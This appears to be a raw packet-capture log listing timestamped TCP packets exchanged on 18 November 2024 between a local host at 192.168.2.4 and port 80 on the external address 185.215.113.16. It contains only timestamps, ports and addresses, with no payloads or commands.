Nov 18, 2024 17:23:30.980107069 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980149984 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.980309010 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980344057 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980354071 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.980379105 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980416059 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980449915 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980458975 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.980492115 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.980696917 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980748892 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980784893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980828047 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.980921030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980954885 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.980963945 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.980989933 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.981024981 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.981067896 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.981173992 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.981206894 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.981221914 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.981240988 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.983376026 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.988550901 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.988605022 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.988636971 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.988687992 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.005013943 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.032911062 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.032948971 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.032999992 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.033056974 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039268970 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039303064 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039319038 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.039357901 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039417982 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.039436102 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039470911 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039510012 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.039589882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039624929 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039670944 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.039747000 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039779902 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039813995 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.039840937 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.040088892 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.040123940 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.040158987 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.040178061 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.040201902 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.040244102 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.094342947 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.094378948 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.094413042 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.094449043 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.094481945 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.094504118 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.096266031 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096301079 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096337080 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096389055 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.096429110 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096462965 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096482038 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.096582890 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096620083 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096671104 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.096716881 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096762896 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.096913099 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096946001 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.096980095 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097027063 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.097089052 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097135067 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.097142935 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097177982 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097230911 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097265959 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097278118 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.097301960 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097311974 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.097590923 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097620010 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097652912 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097666979 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.097691059 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097695112 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.097724915 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097759008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097791910 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.097805023 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.097836971 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.098093033 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098124981 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098160028 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098165989 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.098232031 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098265886 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098319054 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.098387957 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098421097 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098434925 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.098457098 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098520994 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.098545074 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098577023 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098609924 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098645926 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098687887 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.098726034 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.098901987 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098932028 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.098989010 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.099056005 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.099088907 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.099172115 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.106601954 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.106785059 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.106800079 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.106874943 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.119225979 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.150908947 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.150945902 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.150976896 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.150983095 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.151027918 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.156439066 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.156620026 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.156653881 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.156687975 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.156688929 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.156728983 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.156738997 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.156768084 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.156800985 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.156820059 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.156837940 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.157109022 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.157143116 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.157164097 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.157177925 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.157201052 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.157211065 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.157264948 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.157299042 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.157318115 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.157350063 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.211242914 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.211289883 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.211349964 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.211353064 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.211405039 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.211441994 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.211478949 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.211493969 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.211525917 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.213114023 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213176012 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213231087 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.213232040 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213329077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213362932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213387966 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.213459015 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213512897 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213536978 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.213546991 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213613033 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.213707924 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213952065 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.213985920 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214020967 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214035034 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.214055061 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214066029 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.214108944 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214142084 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214178085 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214211941 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214242935 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.214247942 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214272976 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.214301109 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.214662075 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214715958 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214751005 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.214764118 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.215068102 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215121984 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215132952 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.215157986 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215238094 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.215301037 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215352058 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215406895 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215442896 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215461016 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.215491056 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.215596914 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215631008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215665102 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215702057 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215714931 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.215750933 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.215919018 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215953112 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.215986967 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.216021061 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.216037035 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.216057062 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.216070890 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.216094971 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.216444016 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.223771095 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.223807096 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.223841906 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.223890066 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.267143011 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.268199921 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.268234968 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.268269062 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.268313885 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.268330097 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.268366098 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.268382072 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.268399000 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.271465063 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.271514893 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.274066925 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274101973 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274153948 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274164915 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.274188995 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274221897 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274252892 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274285078 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.274285078 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274322033 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274342060 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.274354935 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274379969 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.274389029 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274419069 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274451971 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274468899 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.274486065 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274502039 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.274519920 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274554968 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274590969 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.274610043 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.274638891 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.328346014 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.328409910 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.328447104 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.328494072 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.328545094 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.328599930 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.328646898 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.328680992 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.328758955 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.330513954 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.330569983 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.330605030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.330634117 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.330727100 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.330761909 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.330796003 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.330813885 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.330833912 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.330843925 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.330996037 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331029892 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331065893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331079960 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.331110001 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.331121922 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331156969 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331192970 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331238985 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.331370115 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331417084 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.331476927 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331511021 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331542969 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331634045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331646919 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.331669092 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331680059 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.331737995 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331793070 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331842899 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.331882954 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331917048 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.331921101 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.332258940 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332313061 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332348108 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332359076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.332386971 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.332434893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332470894 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332514048 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.332554102 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332587957 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332725048 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332762003 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332765102 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.332808018 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.332861900 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332895994 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332931042 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.332977057 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.333018064 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.333051920 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.333065033 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.333086967 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.333122015 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.333165884 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.333188057 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.333233118 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.333298922 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.333333015 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.334037066 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.342327118 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.342381001 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.342412949 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.342509031 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.384269953 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.384337902 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.384370089 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.384407043 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.384424925 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.384438992 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.384462118 CET	80	49743	185.215.113.16	192.168.2.4
